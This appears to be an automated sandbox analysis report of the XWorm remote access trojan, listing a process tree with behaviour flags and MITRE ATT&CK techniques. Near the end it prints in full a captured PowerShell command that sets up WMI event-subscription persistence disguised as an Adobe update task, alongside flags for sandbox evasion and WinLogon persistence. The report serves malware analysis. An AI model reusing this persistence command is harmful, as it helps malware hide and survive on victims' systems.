  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,12738323522406955724,6865574820272927194,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:2608
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5860,i,12738323522406955724,6865574820272927194,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:8
  2⤵
  PID:1948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6360,i,10224516274237135860,14660240683643925303,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=6428 /prefetch:8
  2⤵
  PID:2616
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --always-read-main-dll --metrics-shmem-handle=6380,i,1418678079811523703,17199901359131262285,2097152 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=6448 /prefetch:1
  2⤵
  PID:2836
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4180,i,2826305648816177315,10656895146406720765,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=6168 /prefetch:8
  2⤵
  PID:792
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6776,i,858794791359864995,16649661947388335642,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=4216 /prefetch:8
  2⤵
  PID:2432
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4180,i,12395235936696898225,17013197379899991361,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=4736 /prefetch:8
  2⤵
  PID:2704
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6676,i,13481453017492031780,4216798240755012915,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=4276 /prefetch:8
  2⤵
  PID:1296
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5632,i,17941645519200172727,15212018959334971992,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=6556 /prefetch:8
  2⤵
  PID:2096
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.4355 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5260,i,3701351118395676993,12824086922330496999,262144 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:5112

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:3600

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:1020

C:\Program Files\7-Zip\7zG.exe
"C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Downloads\XWorm Enhanced v6.5.1\" -spe -an -ai#7zMap27828:102:7zEvent25765
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4864

C:\Users\Admin\Downloads\XWorm Enhanced v6.5.1\XWorm.exe
"C:\Users\Admin\Downloads\XWorm Enhanced v6.5.1\XWorm.exe"
1⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Executes dropped EXE
- Maps connected drives based on registry
- Enumerates system info in registry
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1020
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe" /noconfig @"C:\Users\Admin\AppData\Local\Temp\e2nwcprl\e2nwcprl.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3592
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES46CE.tmp" "C:\Users\Admin\AppData\Local\Temp\vbcE5AD1C13A5E44663A451ED997C913D3D.TMP"
    3⤵
    PID:1940

C:\Windows\system32\wbem\WmiApSrv.exe
C:\Windows\system32\wbem\WmiApSrv.exe
1⤵
PID:3912

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x3ec 0x2ec
1⤵
PID:800

C:\Users\Admin\Downloads\XWormEnhancedClient.exe
"C:\Users\Admin\Downloads\XWormEnhancedClient.exe"
1⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3084
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -Command $wmiParams = @{ ErrorAction = 'Stop' NameSpace = 'root\subscription' } $wmiParams.Class = '__EventFilter' $wmiParams.Arguments = @{ Name = 'Adobe Acrobat Update Task' EventNamespace = 'root\CIMV2' QueryLanguage = 'WQL' Query = "SELECT * FROM __InstanceModificationEvent WITHIN 5 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 1200" } $filterResult = Set-WmiInstance @wmiParams $wmiParams.Class = 'CommandLineEventConsumer' $wmiParams.Arguments = @{ Name = 'Adobe Acrobat Update Task' ExecutablePath = "C:\Users\Public\XWormClient.exe" } $consumerResult = Set-WmiInstance @wmiParams $wmiParams.Class = '__FilterToConsumerBinding' $wmiParams.Arguments = @{ Filter = $filterResult Consumer = $consumerResult } $bindingResult = Set-WmiInstance @wmiParams
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2104

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Winlogon Helper DLL

T1547.004

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

System Time Discovery

T1124

Virtualization/Sandbox Evasion